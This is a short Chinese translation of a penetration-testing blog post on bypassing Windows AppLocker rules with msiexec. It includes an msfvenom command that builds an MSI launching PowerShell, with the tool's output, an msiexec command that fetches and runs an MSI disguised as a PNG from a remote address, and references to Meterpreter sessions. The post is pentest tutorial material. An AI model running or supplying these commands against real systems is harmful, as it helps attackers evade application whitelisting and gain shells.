MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品。 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。 本文的以下内容表明,当系统配置为不阻止所有用户执行MSI文件时,那么系统就得不到正确的保护,因为任何一个AppLocker的可执行规则都可以轻松绕过。

可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件。

msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 199 bytes

Final size of msi file: 159744 bytes

使用 MsfVenom 生成 MSI 文件

运行powershell.msi 将会打开一个PowerShell会话,这样就可以绕过AppLocker的规则了,即使已经设置了所有用户都不可以执行PowerShell。

利用MSIEXEC 运行 PowerShell

同样可以利用这种方式运行cmd命令,即使Windows系统已经阻止了cmd命令的执行。

msiexec /quiet /i cmd.msi

执行上述命令后,就会弹出cmd的窗口。

另外,msiexec实用程序还可以运行已经重命名过的MSI文件,比如重命名为PNG的MSI文件。 这些文件可以在命令提示符中本地执行或从远程执行,当然也可以绕过AppLocker规则执行。

msiexec /q /i [img]http://192.168.100.3/tmp/cmd.png[/img]

利用MSIEXEC执行PNG文件,弹出cmd

上述操作同样可以用在Meterpreter payload 执行MSI文件上。

利用MSI 执行 Meterpreter Payload

利用MSIEXEC获得Meterpreter 会话

本文翻译自https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/,如若转载,请注明原文地址:  http://www.4hou.com/technology/5612.html[http://www.4hou.com/technology/5612.html](http://www.4hou.com/technology/5612.html)

源链接

Hacking more

...